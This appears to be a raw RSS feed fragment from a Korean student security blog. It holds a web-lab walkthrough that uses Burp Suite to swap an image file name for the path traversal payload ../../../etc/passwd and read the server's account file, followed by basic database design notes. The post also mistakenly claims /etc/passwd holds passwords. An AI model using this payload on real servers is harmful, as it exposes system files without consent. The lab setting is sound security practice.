this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;690&quot; height=&quot;122&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.50.12.png&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 찾은 FLAG를 webhacking.kr에서 auth누르고 넣으면 성공메시지가 뜸&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.53.07.png&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P7B33/dJMcadPotrF/AMXtqA2i5aVU0I0nVqXQwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P7B33/dJMcadPotrF/AMXtqA2i5aVU0I0nVqXQwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P7B33/dJMcadPotrF/AMXtqA2i5aVU0I0nVqXQwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP7B33%2FdJMcadPotrF%2FAMXtqA2i5aVU0I0nVqXQwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;479&quot; height=&quot;128&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.53.07.png&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-08 오후 1.09.26.png&quot; data-origin-width=&quot;2726&quot; data-origin-height=&quot;1356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhu1jS/dJMcaiiXeF6/tTEIWgtpPY2FKmRYuVAx30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhu1jS/dJMcaiiXeF6/tTEIWgtpPY2FKmRYuVAx30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhu1jS/dJMcaiiXeF6/tTEIWgtpPY2FKmRYuVAx30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhu1jS%2FdJMcaiiXeF6%2FtTEIWgtpPY2FKmRYuVAx30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;249&quot; data-filename=&quot;스크린샷 2026-05-08 오후 1.09.26.png&quot; data-origin-width=&quot;2726&quot; data-origin-height=&quot;1356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) arbitrary: 임의의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Credentials: 자격증명&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 12.26.04.png&quot; data-origin-width=&quot;2626&quot; data-origin-height=&quot;1504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHUJlX/dJMcaa6j7A9/sJB2VcuFZcQ3cMdiybLfaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHUJlX/dJMcaa6j7A9/sJB2VcuFZcQ3cMdiybLfaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHUJlX/dJMcaa6j7A9/sJB2VcuFZcQ3cMdiybLfaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHUJlX%2FdJMcaa6j7A9%2FsJB2VcuFZcQ3cMdiybLfaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;290&quot; data-filename=&quot;스크린샷 2026-05-10 오전 12.26.04.png&quot; data-origin-width=&quot;2626&quot; data-origin-height=&quot;1504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 12.51.53.png&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;864&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPjkCg/dJMcafmgbHu/qNXt5NSVcYV2J8nVkKNLk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPjkCg/dJMcafmgbHu/qNXt5NSVcYV2J8nVkKNLk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPjkCg/dJMcafmgbHu/qNXt5NSVcYV2J8nVkKNLk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPjkCg%2FdJMcafmgbHu%2FqNXt5NSVcYV2J8nVkKNLk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;527&quot; height=&quot;260&quot; data-filename=&quot;스크린샷 2026-05-10 오전 12.51.53.png&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;864&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) append: 덧붙이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;implement: 구현하다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API: application programming interface. 프로그램들이 서로 소통하는 접점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;retrieve: &amp;nbsp;검색하다, 가져오다. 저장된 데이터를 다시 불러옴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;consecutive: 연속적인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. ACCESS THE LAB 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 12.54.00.png&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qoj0I/dJMcacQzQhX/RVU5VQjCMukKsUhZvC8dk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qoj0I/dJMcacQzQhX/RVU5VQjCMukKsUhZvC8dk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qoj0I/dJMcacQzQhX/RVU5VQjCMukKsUhZvC8dk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqoj0I%2FdJMcacQzQhX%2FRVU5VQjCMukKsUhZvC8dk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;512&quot; height=&quot;280&quot; data-filename=&quot;스크린샷 2026-05-10 오전 12.54.00.png&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 아무 상품이나 vies details 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.07.49.png&quot; data-origin-width=&quot;2574&quot; data-origin-height=&quot;1600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QeOFy/dJMcagZI1Se/ii9SjiNCenosNhnkbUA0BK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QeOFy/dJMcagZI1Se/ii9SjiNCenosNhnkbUA0BK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QeOFy/dJMcagZI1Se/ii9SjiNCenosNhnkbUA0BK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQeOFy%2FdJMcagZI1Se%2Fii9SjiNCenosNhnkbUA0BK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;329&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.07.49.png&quot; data-origin-width=&quot;2574&quot; data-origin-height=&quot;1600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 이 상태에서 intercept on 한 후 forward누르면서 GET요청 중 image?filename= ... 이 형태 찾기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.17.17.png&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;1200&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nLWX2/dJMcacQzQJi/VPaLRdfQtfaDwgyPmKCBqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nLWX2/dJMcacQzQJi/VPaLRdfQtfaDwgyPmKCBqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nLWX2/dJMcacQzQJi/VPaLRdfQtfaDwgyPmKCBqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnLWX2%2FdJMcacQzQJi%2FVPaLRdfQtfaDwgyPmKCBqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;476&quot; height=&quot;377&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.17.17.png&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;1200&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.17.29.png&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ0p6t/dJMcahRSceB/aKHDuaP2wJPc7o6YzwpUs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ0p6t/dJMcahRSceB/aKHDuaP2wJPc7o6YzwpUs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ0p6t/dJMcahRSceB/aKHDuaP2wJPc7o6YzwpUs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ0p6t%2FdJMcahRSceB%2FaKHDuaP2wJPc7o6YzwpUs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;501&quot; height=&quot;386&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.17.29.png&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 해당 요청을 Send to Repeater 한 후 filename에서 52.jpg 부분을 ../../../etc/passwd로 수정(경로조작)하고 Send&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.18.12.png&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;1130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhnyo8/dJMcabqDeGS/etsLeG54oyImq0PbXtjEZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhnyo8/dJMcabqDeGS/etsLeG54oyImq0PbXtjEZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhnyo8/dJMcabqDeGS/etsLeG54oyImq0PbXtjEZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdhnyo8%2FdJMcabqDeGS%2FetsLeG54oyImq0PbXtjEZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;494&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.18.12.png&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;1130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.18.37.png&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdHCzZ/dJMcajvojJp/S2TjyrEPzZ3ajnuzcDhKP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdHCzZ/dJMcajvojJp/S2TjyrEPzZ3ajnuzcDhKP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdHCzZ/dJMcajvojJp/S2TjyrEPzZ3ajnuzcDhKP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdHCzZ%2FdJMcajvojJp%2FS2TjyrEPzZ3ajnuzcDhKP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;487&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.18.37.png&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 다음과 같이 민감정보가 추출된 것을 볼 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root : x : 0 : 0 : root : / root : / bin / bash 에 username, password, 사용자id 등이 포함되어있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.18.47.png&quot; data-origin-width=&quot;2302&quot; data-origin-height=&quot;1420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csM0xL/dJMcabqDeHF/ONJIPEp0XuVKoM30YMiBT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csM0xL/dJMcabqDeHF/ONJIPEp0XuVKoM30YMiBT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csM0xL/dJMcabqDeHF/ONJIPEp0XuVKoM30YMiBT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsM0xL%2FdJMcabqDeHF%2FONJIPEp0XuVKoM30YMiBT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2302&quot; height=&quot;1420&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.18.47.png&quot; data-origin-width=&quot;2302&quot; data-origin-height=&quot;1420&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. intercept off를 하면 congratulations 배너가 뜸&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.20.43.png&quot; data-origin-width=&quot;2674&quot; data-origin-height=&quot;1150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vopZ8/dJMcaiJZAoG/KKKZbQa5ppMs8vsEBtomK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vopZ8/dJMcaiJZAoG/KKKZbQa5ppMs8vsEBtomK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vopZ8/dJMcaiJZAoG/KKKZbQa5ppMs8vsEBtomK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvopZ8%2FdJMcaiJZAoG%2FKKKZbQa5ppMs8vsEBtomK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2674&quot; height=&quot;1150&quot; data-filename=&quot;스크린샷 2026-05-10 오전 1.20.43.png&quot; data-origin-width=&quot;2674&quot; data-origin-height=&quot;1150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>SWLUG(2026)/웹해킹</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/74</guid>
      <comments>https://batterygj.tistory.com/74#entry74comment</comments>
      <pubDate>Sun, 10 May 2026 01:35:59 +0900</pubDate>
    </item>
    <item>
      <title>[3주차] DB 설명 및 설계 &amp;amp; 프로젝트 실습 1차</title>
      <link>https://batterygj.tistory.com/73</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 53.139535%; height: 90px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 27.633919%; height: 18px; text-align: center;&quot;&gt;MYSQL&lt;/td&gt;
&lt;td style=&quot;width: 29.170009%; height: 18px; text-align: center;&quot;&gt;MongoDB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 27.633919%; height: 18px; text-align: center;&quot;&gt;관계형 데이터베이스&lt;/td&gt;
&lt;td style=&quot;width: 29.170009%; height: 18px; text-align: center;&quot;&gt;NoSQL 데이터베이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 27.633919%; height: 18px; text-align: center;&quot;&gt;row&lt;/td&gt;
&lt;td style=&quot;width: 29.170009%; height: 18px; text-align: center;&quot;&gt;document&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 27.633919%; height: 18px; text-align: center;&quot;&gt;table&lt;/td&gt;
&lt;td style=&quot;width: 29.170009%; height: 18px; text-align: center;&quot;&gt;collection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 27.633919%; height: 18px; text-align: center;&quot;&gt;database&lt;/td&gt;
&lt;td style=&quot;width: 29.170009%; height: 18px; text-align: center;&quot;&gt;database&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- row, document : 가장 작은 데이터 단위&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- table, collection : 관련 있는 데이터를 모아둔 그룹&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 가장 큰 단위: database&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;테이블 설계 방법&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;01. 데이터 유형&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 숫자형(int, double)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 문자형(char, varchar)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) char은 고정 길이, varchar은 가변 길이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 날짜 및 시간 타입 (date, datetime, timestamp)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;02. 컬럼의 속성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 각 컬럼에 추가적으로 설정할 수 있는 제약 조건으로 *데이터 무결성을 지키기 위한 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 데이터의 정확성, 일관성, 유효성이 유지되는 것을 보장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Primary key(PK)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 행을 식별하는데 사용되는 고유한 식별자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Foreign key(FK)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 테이블의 기본 키와 관계를 나타내는 컬럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Unique 속성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중복된 값을 허용하지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Not NULL&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NULL 값을 허용하지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. default&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동으로 할당되는 값&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;03. 관계의 유형&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;*JOIN : 둘 이상의 테이블에서 데이터를 조회하기 위한 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일대일 관계 : 하나의 A는 하나의 B를 갖는다, 하나의 B는 하나의 A를 갖는다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다대일 관계 : 하나의 A는 여러개의 B를 갖는다. 하나의 B는 하나의 A를 갖는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다대다 관계 : 하나의 A는 여러개의 B를 갖는다. 하나의 B는 여러 개의 A를 갖는다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
